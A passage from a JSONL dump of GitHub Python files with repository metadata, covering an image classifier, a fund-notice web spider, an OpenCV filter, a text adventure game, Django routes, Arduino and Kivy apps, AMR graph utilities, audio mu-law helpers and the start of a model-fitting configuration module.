info=data)\nprint(answer)","repo_name":"SyedShehry/chatbot","sub_path":"datasearch.py","file_name":"datasearch.py","file_ext":"py","file_size_in_byte":2591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30005562694","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n@author: Swaminathan t\n\"\"\"\n\nfrom tensorflow.keras import models\nfrom PIL import Image\nimport numpy as np\n\n\ndef Predict(FileName):\n    dim=(64,64)\n    className=[\"dog\",\"cat\"]\n    model = models.load_model(\"weights00000013.h5\")\n    model.summary()\n    # Read the file\n    Img = Image.open(FileName)\n    Img = Img.resize(dim, Image.ANTIALIAS)\n    RawData = np.array(Img).reshape(-3,64,64,3)\n    GetResult = model.predict(RawData)\n    Result = np.argmax(GetResult)\n    print(\"Image predicted as {}\".format(className[Result]))\n\n\n\nif __name__ == '__main__':\n    FileName = \"Cat_for_predict.jpeg\"\n    Predict(FileName)","repo_name":"swaminathant/CNN-Classification-tf","sub_path":"Prediction.py","file_name":"Prediction.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32866748750","text":"# -*- coding: utf-8 -*-\n\nfrom datetime import datetime\nfrom urllib.parse import urljoin\nfrom scrapy.utils.response import get_base_url\nfrom FundNoticeSpiders import GGFundNoticeItem\nfrom FundNoticeSpiders import GGFundNoticeSpider\n\n\nclass BotongInvestSpider(GGFundNoticeSpider):\n    name = 'FundNotice_BotongInvest'\n    sitename = '泊通投资'\n    entry = 'http://www.botongfund.com/'\n    proxy = 2\n    ips = [{\n        'url': 'http://www.botongfund.com/menus/xKEeQwK8xEurkakaR6ybi5/child_menus/dE5xdrXwkwhzX9X9BxaRH3',\n    }]\n\n    def parse_item(self, response):\n        rows = response.xpath('//div[@class=\"fem01_camall\"]/a')\n\n        for row in rows:\n            url = row.xpath('./@href').extract_first()\n            url = urljoin(get_base_url(response), url)\n\n            title = row.xpath('./div[2]/p[1]/text()').extract_first()\n\n            publish_time = row.xpath('./div[2]/p[2]/text()').extract_first()\n            publish_time = datetime.strptime(publish_time, '%Y年%m月%d日')\n\n            item = GGFundNoticeItem()\n            item['sitename'] = self.sitename\n            item['channel'] = self.channel\n            item['url_entry'] = self.entry\n            item['url'] = url\n            item['title'] = title\n            item['publish_time'] = publish_time\n\n            yield item\n\n        next_url = response.xpath('//span[@class=\"next\"]/a[text()=\"下一页\"]/@href').extract_first()\n        if next_url:\n            next_url = urljoin(get_base_url(response), next_url)\n            self.ips.append({\n                'url': next_url,\n                'ref': response.url\n            })\n        yield self.request_next()","repo_name":"xhsong2009/ggscrapy","sub_path":"FundNoticeSpiders/BotongInvest.py","file_name":"BotongInvest.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"40825011530","text":"import time\r\nimport numpy as np\r\nimport cv2\r\n\r\nt = time.localtime()\r\nfilename = str(t[0]) + \"_\" + str(t[1]) + \"_\" + str(t[2]) + \"_\" + str(t[3]) + \"_\" + str(t[4]) + \"_\" + str(t[5]) + \".bmp\"\r\nprint(filename)\r\n\r\ngray = cv2.imread(\"images\\in\\Lenna(gray)(10noize).bmp\", 0)\r\nH = gray.shape[0]\r\nW = gray.shape[1]\r\noutput_img = gray.copy()\r\nkh = 3\r\nkw = 3\r\nkernel = np.array([\r\n  [-1, 0, 1],\r\n  [-2, 0, 2],\r\n  [-1, 0, 1]\r\n]) / 9\r\n\r\n\r\noutput_img = cv2.filter2D(gray, -1, kernel)\r\ncv2.imshow(\"org_img_window\", gray)\r\ncv2.imshow(\"output_img_window\", output_img)\r\n\r\nk = cv2.waitKey(0)\r\nif k == 27:\r\n    cv2.destroyAllWindows()\r\nelif k == ord('s'):\r\n    cv2.imwrite(\"images/out/\" + filename, gray)\r\n    cv2.destroyAllWindows()","repo_name":"QTYO-KARAAGE/Python","sub_path":"xi2/pythonProject/22_02.py","file_name":"22_02.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19064100672","text":"import time\r\nimport random\r\ninventory = []\r\n\r\n\r\ndef random_person():  # you will meet either a wounded priestess or a girl\r\n    random_woman = [\"wounded priestess\", \"crying girl\"]\r\n    return random.choice(random_woman)\r\n\r\n\r\ndef print_pause(your_code):  # prints your code and after that a 2 sec pause\r\n    print(your_code)\r\n    time.sleep(2)\r\n\r\n\r\ndef new_game():  # lets you start a new game, after the game finishes\r\n    answer = input(\"Do you want to play again?\\n\"\r\n                   \"yes\\n\"\r\n                   \"no\\n\")\r\n    if \"yes\" in answer:\r\n        complete_game()\r\n    elif \"no\" in answer:\r\n        print_pause(\"Ok Goodbye\")\r\n    else:\r\n        print_pause(\"You must choose yes or no!\")\r\n        new_game()\r\n\r\n\r\ndef intro():  # the intro story for the game. starts every time the game starts\r\n    print_pause(\"Finally, after many years, you found him.\")\r\n    print_pause(\"The man you once called your brother and mentor...\")\r\n    print_pause(\"You have been on the hunt for too long.\")\r\n    print_pause(\"Rumor has it, that Donovan and his bandits,\\n\"\r\n                \"your former friends, are around here, terorising\\n\"\r\n                \"the folk and looting the nearby temple!\")\r\n    print_pause(\"Your time for revenge has now come!\")\r\n    print_pause(\"Donovan's life is forfeit!\")\r\n    print_pause(\"You have positioned yourself on a mountain\\n\"\r\n                \"in front of the town.\")\r\n    print_pause(\"Watching what is in front of you...\")\r\n    print_pause(\"Only death and destruction...\")\r\n    print_pause(\"You look forward and see a town aflame, miles away\")\r\n    print_pause(\"A little bit west of the town you see\\n\"\r\n                \"the temple, also aflame\")\r\n    print_pause(\"In your hand is your crude sword,\\n\"\r\n                \"the Dragonslayer, a powerful but used sword.\")\r\n\r\n\r\ndef choosing_path():  # lets you choose between town and temple\r\n    choice = input(\"On the top of the montain, you need to decide,\\n\"\r\n                   \"which path you want to take.\\n\"\r\n                   \"Enter 1 to go to the town\\n\"\r\n                   \"Enter 2 to go to the ravaged temple\\n\")\r\n    if choice == \"1\":\r\n        town()\r\n    elif choice == \"2\":\r\n        temple()\r\n    else:\r\n        print_pause(\"You must choose a path, young warrior!\")\r\n        choosing_path()\r\n\r\n\r\ndef town():  # this happens the when you enter the town\r\n    print_pause(\"You enter the town.\")\r\n    print_pause(\"After walking through streets full of dead civilians,\\n\"\r\n                \"you find him, cursed Donovan, leader of the bandits!\")\r\n    print_pause(\"It seems that he is alone. His men are too busy looting.\")\r\n    print_pause(\"This is your chance. You have waited\\n\"\r\n                \"so long for that moment!\")\r\n    while True:\r\n        choice = input(\"What do you want to do?\\n\"\r\n                       \"Enter 1 to attack\\n\"\r\n                       \"Enter 2 to withdraw\\n\")\r\n        if choice == \"1\":\r\n            if \"Obilisk\" in inventory:\r\n                print_pause(\"You attack, and with the power\"\r\n                            \" of the Obilisk,\"\r\n                            \" you enhance your sword and strike\"\r\n                            \" down Donovan for good.\")\r\n                print_pause(\"You have won! Your lust for\\n\"\r\n                            \"revenge is satisfied.\")\r\n                print_pause(\"Now you can move on with your new life.\")\r\n                new_game()\r\n                break\r\n            else:\r\n                print_pause(\"You attack, but your crude sword Dragonslayer\\n\"\r\n                            \"has no effect on Donovan's heavy armor!\")\r\n                print_pause(\"Whith an evil smile he strikes you down.\")\r\n                print_pause(\"You are dead!\")\r\n                print_pause(\"Game Over. You loose!\")\r\n                new_game()\r\n            break\r\n        elif choice == \"2\":\r\n            print_pause(\"You decide to withdraw. Live today,\"\r\n                        \" fight tomorrow!.\")\r\n            print_pause(\"You go back to your starting location.\")\r\n            choosing_path()\r\n        else:\r\n            print_pause(\"You must choose! Fight or withdraw!\")\r\n\r\n\r\ndef temple():  # ths happens when you enter the temple.\r\n    print_pause(\"You go to the ravaged temple.\")\r\n    if \"Obilisk\" in inventory:\r\n        print_pause(\"The person who gave you the Obilisk is not here anymore.\")\r\n        print_pause(\"You go back to the mountain.\")\r\n        choosing_path()\r\n    else:\r\n        print_pause(f\"In the temple, you find a {random_person()}.\")\r\n        print_pause(\"She gives you an Obilisk, a mighty artifact.\")\r\n        print_pause(\"\\\"You are going to need it\\\", she whispers.\")\r\n        print_pause(\"(Obilisk added to Inventory)\")\r\n        inventory.append(\"Obilisk\")\r\n        print_pause(\"You go back to the mountain\")\r\n        choosing_path()\r\n\r\n\r\ndef complete_game():  # all functions combined in this function. The whole game\r\n    intro()\r\n    choosing_path()\r\n\r\n\r\ncomplete_game()\r\n","repo_name":"ScherwinBidar/Text-Adventure","sub_path":"adventure_game.py","file_name":"adventure_game.py","file_ext":"py","file_size_in_byte":4946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31234327795","text":"from django.contrib import admin\nfrom django.urls import path\n\nfrom coreRelback import views\n\napp_name = 'coreRelback'\n\nurlpatterns = [\n    path('', views.index, name='index'),\n    path('admin/', admin.site.urls),\n    path('creators/', views.creators, name='creators'),\n\n    # Routes - Clients\n    path('client/', views.clientRead.as_view(), name='client'),\n    path('client/create/', views.clientCreate.as_view(), name='clientCreate'),\n    path('client/update/', views.clientUpdate.as_view(), name='clientUpdate'),\n    path('client/delete/', views.clientDelete.as_view(), name='clientDelete'),\n\n    # Routes - Hosts\n    path('host/', views.hostRead.as_view(), name='host'),\n    path('host/create/', views.hostCreate.as_view(), name='hostCreate'),\n    path('host/update/', views.hostUpdate.as_view(), name='hostUpdate'),\n    path('host/delete/', views.hostDelete.as_view(), name='hostDelete'),\n\n    # Routes - Databases\n    path('database/', views.databaseRead.as_view(), name='database'),\n    path('database/create/', views.databaseCreate.as_view(), name='databaseCreate'),\n    path('database/update/', views.databaseUpdate.as_view(), name='databaseUpdate'),\n    path('database/delete/', views.databaseDelete.as_view(), name='databaseDelete'),\n    path('database/hostsList/', views.hostsList, name='hostsList'),\n\n    # Routes - Policies\n    path('policy/', views.policyRead.as_view(), name='policy'),\n    path('policy/detail/', views.policyRead.policyDetail, name='policyDetail'),\n    path('policy/create/', views.policyCreate.as_view(), name='policyCreate'),\n    path('policy/update/', views.policyUpdate.as_view(), name='policyUpdate'),\n    path('policy/delete/', views.policyDelete.as_view(), name='policyDelete'),\n    path('policy/hostsList/', views.hostsList, name='hostsList'),\n    path('policy/databasesList/', views.databasesList, name='databasesList'),\n\n    # Routes - Reports\n    path('reports/', views.reportRead, name='reportRead'),\n    path('reports/readLogDetail/<int:idPolicy>/<int:dbKey>/<int:sessionKey>/', views.reportReadLogDetail, name='reportReadLogDetail'),\n    path('reports/refreshSchedule', views.reportRefreshSchedule, name='refreshSchedule'),\n\n]\n","repo_name":"supernoi/relback","sub_path":"coreRelback/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10112232592","text":"import pyfirmata, time\n\nclass Verifier:\n    def __init__(self, port):\n        self.board=pyfirmata.Arduino(port)\n        self.iterator=pyfirmata.util.Iterator(self.board)\n        self.iterator.start()\n        time.sleep(1)\n        self.pin1=self.board.get_pin('d:2:i')\n        self.pin2=self.board.get_pin('d:3:i')\n        time.sleep(1)\n        print('ready')\n    def check(self):\n        running=True\n        winner=0\n        while True:\n            print((self.pin1.read(), self.pin2.read()))\n            if self.pin2.read() == True:\n                winner=2\n                break\n            elif self.pin1.read() == True:\n                winner=1\n                break\n            time.sleep(0.1)\n        return winner\n\nvf=Verifier('COM3')\n\nprint(vf.check())\n","repo_name":"TeoSean/MathWAV2","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24490952240","text":"import sys\n\nfrom amr_utils.alignments import AMR_Alignment\n\n\nclass AMR:\n\n    def __init__(self, tokens:list=None, id=None, root=None, nodes:dict=None, edges:list=None, metadata:dict=None):\n\n        if edges is None: edges = []\n        if nodes is None: nodes = {}\n        if tokens is None: tokens = []\n        if metadata is None: metadata = {}\n\n        self.tokens = tokens\n        self.root = root\n        self.nodes = nodes\n        self.edges = edges\n        self.id = 'None' if id is None else id\n        self.metadata = metadata\n\n    def copy(self):\n        return AMR(self.tokens.copy(), self.id, self.root, self.nodes.copy(), self.edges.copy(), self.metadata.copy())\n\n    def __str__(self):\n        return metadata_string(self)\n\n    def graph_string(self):\n        return graph_string(self)\n\n    def amr_string(self):\n        return metadata_string(self) + graph_string(self)+'\\n\\n'\n\n    def get_alignment(self, alignments, token_id=None, node_id=None, edge=None):\n        if not isinstance(alignments, dict):\n            raise Exception('Alignments object must be a dict.')\n        if self.id not in alignments:\n            return AMR_Alignment()\n        for align in alignments[self.id]:\n            if token_id is not None and token_id in align.tokens:\n                return align\n            if node_id is not None and node_id in align.nodes:\n                return align\n            if edge is not None and edge in align.edges:\n                return align\n        return AMR_Alignment()\n\n    def triples(self, normalize_inverse_edges=False):\n        taken_nodes = {self.root}\n        yield self.root, ':instance', self.nodes[self.root]\n        for s,r,t in self.edges:\n            if not self.nodes[t][0].isalpha() or self.nodes[t] in ['imperative', 'expressive', 'interrogative']:\n                yield s, r, self.nodes[t]\n                continue\n            if normalize_inverse_edges and r.endswith('-of') and r not in [':consist-of', ':prep-out-of', ':prep-on-behalf-of']:\n                yield t, r[:-len('-of')], s\n            else:\n                yield s, r, t\n            if t not in taken_nodes:\n                yield t, ':instance', self.nodes[t]\n                taken_nodes.add(t)\n\n    def _rename_node(self, a, b):\n        if b in self.nodes:\n            raise Exception('Rename Node: Tried to use existing node name:', b)\n        self.nodes[b] = self.nodes[a]\n        del self.nodes[a]\n        if self.root == a:\n            self.root = b\n        for i, e in enumerate(self.edges):\n            s,r,t = e\n            if a in [s, t]:\n                if s==a: s=b\n                if t==a: t=b\n                self.edges[i] = (s,r,t)\n\n\n\ndef metadata_string(amr):\n    '''\n        # ::id sentence id\n        # ::tok tokens...\n        # ::node node_id node alignments\n        # ::root root_id root\n        # ::edge src label trg src_id trg_id alignments\n    '''\n    output = ''\n    # id\n    if amr.id:\n        output += f'# ::id {amr.id}\\n'\n    # tokens\n    output += '# ::tok ' + (' '.join(amr.tokens)) + '\\n'\n    # metadata\n    for label in amr.metadata:\n        if label not in ['tok','id','node','root','edge','alignments']:\n            output += f'# ::{label} {str(amr.metadata[label])}\\n'\n    # nodes\n    for n in amr.nodes:\n        output += f'# ::node\\t{n}\\t{amr.nodes[n].replace(\" \",\"_\") if n in amr.nodes else \"None\"}\\n'\n    # root\n    root = amr.root\n    if amr.root:\n        output += f'# ::root\\t{root}\\t{amr.nodes[root] if root in amr.nodes else \"None\"}\\n'\n    # edges\n    for i, e in enumerate(amr.edges):\n        s, r, t = e\n        r = r.replace(':', '')\n        output += f'# ::edge\\t{amr.nodes[s] if s in amr.nodes else \"None\"}\\t{r}\\t{amr.nodes[t] if t in amr.nodes else \"None\"}\\t{s}\\t{t}\\n'\n\n    return output\n\n\ndef graph_string(amr):\n    amr_string = f'[[{amr.root}]]'\n    new_ids = {}\n    for n in amr.nodes:\n        new_id = amr.nodes[n][0] if amr.nodes[n] else 'x'\n        if new_id.isalpha() and new_id.islower():\n            if new_id in new_ids.values():\n                j = 2\n                while f'{new_id}{j}' in new_ids.values():\n                    j += 1\n                new_id = f'{new_id}{j}'\n        else:\n            j = 0\n            while f'x{j}' in new_ids.values():\n                j += 1\n            new_id = f'x{j}'\n        new_ids[n] = new_id\n    depth = 1\n    nodes = {amr.root}\n    completed = set()\n    while '[[' in amr_string:\n        tab = '\\t' * depth\n        for n in nodes.copy():\n            id = new_ids[n] if n in new_ids else 'x91'\n            concept = amr.nodes[n] if n in new_ids and amr.nodes[n] else 'None'\n            edges = sorted([e for e in amr.edges if e[0] == n], key=lambda x: x[1])\n            targets = set(t for s, r, t in edges)\n            edges = [f'{r} [[{t}]]' for s, r, t in edges]\n            children = f'\\n{tab}'.join(edges)\n            if children:\n                children = f'\\n{tab}' + children\n            if n not in completed:\n                if (concept[0].isalpha() and concept not in ['imperative', 'expressive', 'interrogative']) or targets:\n                    amr_string = amr_string.replace(f'[[{n}]]', f'({id}/{concept}{children})', 1)\n                else:\n                    amr_string = amr_string.replace(f'[[{n}]]', f'{concept}')\n                completed.add(n)\n            amr_string = amr_string.replace(f'[[{n}]]', f'{id}')\n            nodes.remove(n)\n            nodes.update(targets)\n        depth += 1\n    if len(completed) < len(amr.nodes):\n        missing_nodes = [n for n in amr.nodes if n not in completed]\n        missing_edges = [(s, r, t) for s, r, t in amr.edges if s in missing_nodes or t in missing_nodes]\n        missing_nodes= ', '.join(f'{n}/{amr.nodes[n]}' for n in missing_nodes)\n        missing_edges = ', '.join(f'{s}/{amr.nodes[s]} {r} {t}/{amr.nodes[t]}' for s,r,t in missing_edges)\n        print('[amr]', 'Failed to print AMR, '\n              + str(len(completed)) + ' of ' + str(len(amr.nodes)) + ' nodes printed:\\n '\n              + str(amr.id) +':\\n'\n              + amr_string + '\\n'\n              + 'Missing nodes: ' + missing_nodes +'\\n'\n              + 'Missing edges: ' + missing_edges +'\\n',\n              file=sys.stderr)\n    if not amr_string.startswith('('):\n        amr_string = '(' + amr_string + ')'\n    if len(amr.nodes) == 0:\n        amr_string = '(a/amr-empty)'\n\n    return amr_string\n","repo_name":"ablodge/amr-utils","sub_path":"amr_utils/amr.py","file_name":"amr.py","file_ext":"py","file_size_in_byte":6357,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"3"}
+{"seq_id":"3069930865","text":"import os\nimport torch\nimport numpy as np\nfrom scipy.io.wavfile import read\n\nMAX_WAV_VALUE = 32768.0\n\n\ndef load_wav_to_torch(full_path):\n    \"\"\"\n    Loads wavdata into torch array\n    \"\"\"\n    sampling_rate, data = read(full_path)\n    return torch.FloatTensor(data.astype(np.float32)), sampling_rate\n\ndef as_variable(x, device, requires_grad=True):\n    x = x.contiguous()\n    if device.type == \"cuda\":\n        x = x.cuda(device, non_blocking=True)\n    return torch.autograd.Variable(x)\n\ndef mu_law_decode_numpy(x, mu_quantization=256):\n    assert(np.amax(x) <= mu_quantization)\n    assert(np.amin(x) >= 0)\n    mu = mu_quantization - 1.\n    # Map values back to [-1, 1].\n    signal = 2 * (x / mu) - 1\n    # Perform inverse of mu-law transformation.\n    magnitude = (1 / mu) * ((1 + mu)**np.abs(signal) - 1)\n    return np.sign(signal) * magnitude\n\ndef mu_law_decode(x, mu_quantization=256):\n    assert(torch.max(x) <= mu_quantization)\n    assert(torch.min(x) >= 0)\n    x = x.float()\n    mu = mu_quantization - 1.\n    # Map values back to [-1, 1].\n    signal = 2 * (x / mu) - 1\n    # Perform inverse of mu-law transformation.\n    magnitude = (1 / mu) * ((1 + mu)**torch.abs(signal) - 1)\n    return torch.sign(signal) * magnitude\n\ndef mu_law_encode(x, mu_quantization=256):\n    assert(torch.max(x) <= 1.0)\n    assert(torch.min(x) >= -1.0)\n    mu = mu_quantization - 1.\n    scaling = np.log1p(mu)\n    x_mu = torch.sign(x) * torch.log1p(mu * torch.abs(x)) / scaling\n    encoding = ((x_mu + 1) / 2 * mu + 0.5).long()\n    return encoding\n\ndef mu_law_encode_numpy(x, mu_quantization=256):\n    assert(np.amax(x) <= 1.0)\n    assert(np.amin(x) >= -1.0)\n    mu = mu_quantization - 1.\n    scaling = np.log1p(mu)\n    x_mu = np.sign(x) * np.log1p(mu * np.absolute(x)) / scaling\n    encoding = ((x_mu + 1) / 2 * mu + 0.5).astype(\"int64\")\n    return encoding\n\ndef gumbel_noise_like(X, floor=1e-5):\n    u = torch.zeros(X.size()).uniform_(1e-5, (1 - 1e-5)).to(X.device)\n    return -torch.log(-torch.log(u))\n\n\nclass CategoricalSampler(torch.nn.Module):\n\n    def __init__(self):\n        super(CategoricalSampler, self).__init__()\n    \n    def forward(self, X):\n        \"\"\"\n        X is a unscaled probability distribution (B x C x T)\n        \"\"\"\n        # add batch dim if needed\n        if (len(X.size()) == 2):\n            X = X.unsqueeze(0)\n\n        if (len(X.size()) > 1):\n            X = torch.transpose(X, 1, 2)\n            \n        return torch.distributions.categorical.Categorical(logits=X).sample()\n\nclass UniformSampler(torch.nn.Module):\n\n    def __init__(self):\n        super(UniformSampler, self).__init__()\n        \n    def forward(self, size, floor=1e-5):\n        \"\"\"\n        shape is an array of Tensor shape\n        \"\"\"\n\n        low = torch.full(size, floor)\n        high = torch.full(size, 1-floor)\n        return torch.distributions.uniform.Uniform(low, high).sample()\n \n    \n","repo_name":"plunkgj/midi2wave","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2872,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"3"}
+{"seq_id":"71354249682","text":"import os\r\n\r\nfrom kivy.app import App\r\nfrom kivy.config import Config\r\nfrom kivy.lang import Builder\r\nfrom kivy.logger import Logger as log\r\nfrom kivy.uix.screenmanager import ScreenManager\r\n\r\nfrom smart_house_ui.services.light_controller import LightController\r\nfrom smart_house_ui.services.weather import WeatherService\r\n\r\nfrom .screens import IdleScreen, MainScreen, SettingsScreen\r\n\r\n\r\nclass CustomScreenManager(ScreenManager):\r\n    def __init__(self, *args, **kwargs):\r\n        super(CustomScreenManager, self).__init__(*args, **kwargs)\r\n        self.previous_screen_name = None\r\n\r\n    def on_current(self, instance, value):\r\n        self.previous_screen_name = (\r\n            self.current_screen.name if self.current_screen else None\r\n        )\r\n        return super(CustomScreenManager, self).on_current(instance, value)\r\n\r\n\r\nclass SmartHouseApp(App):\r\n    def load_kv(self, *args, **kwargs):\r\n        for f in [\r\n            \"styles\",\r\n            \"debug\",\r\n            \"panels/base\",\r\n            \"panels/weather\",\r\n            \"panels/light_control\",\r\n            \"screens/main\",\r\n            \"screens/settings\",\r\n            \"screens/idle\",\r\n        ]:\r\n            Builder.load_file(os.path.join(\"smart_house_ui/uix\", f + \".kv\"))\r\n\r\n    def build(self):\r\n        self.light_control_client = LightController()\r\n\r\n        if Config.getboolean(\"light_controls\", \"device_enabled\"):\r\n            self.light_control_client.start()\r\n\r\n        self.weather_service = WeatherService()\r\n        self.weather_service.start()\r\n\r\n        self.sm = CustomScreenManager()\r\n\r\n        self.main_screen = MainScreen(name=\"main\")\r\n        self.sm.add_widget(self.main_screen)\r\n\r\n        self.settings_screen = SettingsScreen(name=\"settings\")\r\n        self.sm.add_widget(self.settings_screen)\r\n\r\n        self.idle_screen = IdleScreen(name=\"idle\")\r\n        self.sm.add_widget(self.idle_screen)\r\n\r\n        return self.sm\r\n\r\n    def on_stop(self):\r\n        log.info(\"Stopping app...\")\r\n","repo_name":"Flid/SmartHouseUI","sub_path":"smart_house_ui/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1975,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"72957301842","text":"\"\"\"Given an array of integers, return indices of the two numbers such that they add up to a specific target.\n\nYou may assume that each input would have exactly one solution, and you may not use the same element twice.\"\"\"\n\ndef two_sums_brute_force(nums, target):\n    \"\"\"\n    :type nums: List[int]\n    :type target: int\n    :rtype: List[int]\n    \"\"\"\n    for numx in nums:\n        for numy in nums:\n            if numx + numy == target:\n                return [nums.index(numx), nums.index(numy)]\n\n    raise Exception(\"No two sum solution\")\n\ndef two_sums_compliment(nums, target):\n    \"\"\"\n    :type nums: List[int]\n    :type target: int\n    :rtype: List[int]\n    \"\"\"\n    compliments = {}\n    for index, num in enumerate(nums):\n        #disable=no-else-return\n        if num in compliments:\n            return [compliments[num], index]\n        else:\n            compliments[target - num] = index\n\n    raise Exception(\"No two sum solution\")\n","repo_name":"bvisin/practice","sub_path":"src/lc_01_two_sums.py","file_name":"lc_01_two_sums.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73192340882","text":"\"\"\"Classes and methods for configuring the fitting run\"\"\"\r\n\r\n\r\nfrom .data import Data\r\nfrom .objective import ChiSquareObjective, SumOfSquaresObjective, NormSumOfSquaresObjective, \\\r\n    AveNormSumOfSquaresObjective, SumOfDiffsObjective\r\n\r\nfrom .pset import BNGLModel, ModelError, SbmlModel, SbmlModelNoTimeout, FreeParameter, TimeCourse, ParamScan, \\\r\n    Mutation, MutationSet\r\nfrom .printing import verbosity, print1, PybnfError\r\nfrom .constraint import ConstraintSet\r\n\r\nimport numpy as np\r\nimport os\r\nimport re\r\nimport logging\r\nimport subprocess\r\nimport roadrunner\r\n\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\ndef init_logging(file_prefix, debug=False, log_level_name='info'):\r\n\r\n    file_name = '%s.log' % file_prefix\r\n\r\n    # Parse log level\r\n    if log_level_name == 'debug' or log_level_name == 'd':\r\n        log_level = logging.DEBUG\r\n    elif log_level_name == 'info' or log_level_name == 'i':\r\n        log_level = logging.INFO\r\n    elif log_level_name == 'warning' or log_level_name == 'w':\r\n        log_level = logging.WARNING\r\n    elif log_level_name == 'error' or log_level_name == 'e':\r\n        log_level = logging.ERROR\r\n    elif log_level_name == 'critical' or log_level_name == 'c':\r\n        log_level = logging.CRITICAL\r\n    elif log_level_name == 'none' or log_level_name == 'n':\r\n        log_level = logging.CRITICAL\r\n        file_name = os.devnull\r\n    else:\r\n        # Should not get here because ArgumentParser catches invalid input\r\n        raise ValueError('Invalid --log_level setting \"%s\"' % log_level_name)\r\n\r\n\r\n    fmt = logging.Formatter(fmt='%(asctime)s %(name)-15s %(levelname)-8s %(processName)-10s %(message)s')\r\n\r\n    fh = logging.FileHandler(file_name, mode='a')\r\n    fh.setLevel(log_level)\r\n    fh.setFormatter(fmt)\r\n\r\n    root = logging.getLogger()\r\n    root.setLevel(10)\r\n    root.addHandler(fh)\r\n\r\n    dlog = logging.getLogger('distributed')\r\n    dlog.handlers[:] = []  # remove any existing handlers\r\n    dlog.setLevel(max(logging.WARNING, log_level))\r\n    dlog.addHandler(fh)\r\n\r\n    tlog = logging.getLogger('tornado')\r\n    tlog.handlers[:] = []  # remove any existing handlers\r\n    tlog.setLevel(logging.CRITICAL)\r\n    tlog.addHandler(fh)\r\n\r\n    talog = logging.getLogger('tornado.application')\r\n    talog.handlers[:] = []\r\n    talog.setLevel(max(logging.ERROR, log_level))\r\n    talog.addHandler(fh)\r\n\r\n    asynclog = logging.getLogger('asyncio')\r\n    asynclog.setLevel(999)  # Higher than critical -> silent\r\n\r\n    if debug:\r\n        dfh = logging.FileHandler('%s_debug.log' % file_prefix, mode='a')\r\n        dfh.setLevel(logging.DEBUG)\r\n        dfh.setFormatter(fmt)\r\n\r\n        root.addHandler(dfh)\r\n        dlog.addHandler(dfh)\r\n        tlog.addHandler(dfh)\r\n        talog.addHandler(dfh)\r\n\r\ndef reinit_logging(file_prefix, debug=False, log_level_name='info'):\r\n    \"\"\"\r\n    Shut down logging, then restart it.\r\n    Used when some module (e.g. distributed v1.22.0) breaks the logging.\r\n    \"\"\"\r\n    if logging.root:\r\n        del logging.root.handlers[:]\r\n    init_logging(file_prefix, debug, log_level_name)\r\n\r\nclass Configuration(object):\r\n    def __init__(self, d=dict()):\r\n        \"\"\"\r\n        Instantiates a Configuration object using a dictionary generated\r\n        by the configuration file parser.  Default key, value pairs are used\r\n        when possible for pairs not present in the provided dictionary.\r\n\r\n        :param d: The result from parsing a configuration file\r\n        :type d: dict\r\n        \"\"\"\r\n        if 'models' not in d or len(d['models']) == 0:\r\n            raise UnspecifiedConfigurationKeyError(\"'model' must be specified in the configuration file.\")\r\n        if 'fit_type' not in d:\r\n            d['fit_type'] = 'de'\r\n            print1('Warning: fit_type was not specified. Defaulting to de (Differential Evolution).')\r\n        if d['fit_type'] == 'bmc':\r\n            d['fit_type'] = 'mh'  # 'bmc' option was renamed to 'mh'. Preserve backwards compatibility.\r\n        if 'objfunc' not in d:\r\n            print1('Warning: objfunc was not specified. Defaulting to chi_sq.')\r\n        if not self._req_user_params() <= d.keys() and d['fit_type'] != 'check':\r\n            unspecified_keys = []\r\n            for k in self._req_user_params():\r\n                if k not in d.keys():\r\n                    unspecified_keys.append(k)\r\n            raise UnspecifiedConfigurationKeyError(\r\n                \"The following configuration keys must be specified:\\n\\t\"+\",\".join(unspecified_keys))\r\n\r\n        if d['fit_type'] == 'check':\r\n            d = self.check_unused_keys_model_checking(d)\r\n        elif verbosity >= 1:\r\n            self.check_unused_keys(d)\r\n        if d['fit_type'] in ('mh', 'pt', 'sa', 'dream'):\r\n            self.postprocess_mcmc_keys(d)\r\n        self.config = self.default_config()\r\n        for k, v in d.items():\r\n            self.config[k] = v\r\n\r\n        self._data_map = dict()  # Internal structure to help get both regular and mutant data to the right place\r\n        self.models = self._load_models()\r\n        logger.debug('Loaded models')\r\n        self._load_actions()\r\n        logger.debug('Loaded actions')\r\n        self._load_simulators()\r\n        logger.debug('Loaded simulators')\r\n        self._load_mutants()\r\n        logger.debug('Loaded mutants')\r\n        self.mapping = self._check_actions()  # dict of model prefix -> set of experimental data prefixes\r\n        logger.debug('Loaded model:exp mapping')\r\n        self.exp_data, self.constraints = self._load_exp_data()\r\n        logger.debug('Loaded data')\r\n        self.obj = self._load_obj_func()\r\n        logger.debug('Loaded objective function')\r\n        self.variables = self._load_variables()\r\n        self._check_variable_correspondence()\r\n        logger.debug('Loaded variables')\r\n        self._postprocess_normalization()\r\n        self._load_postprocessing()\r\n        logger.debug('Completed configuration')\r\n\r\n    @staticmethod\r\n    def default_config():\r\n        \"\"\"Default configuration values\"\"\"\r\n        try:\r\n            bng_command = os.environ['BNGPATH'] + 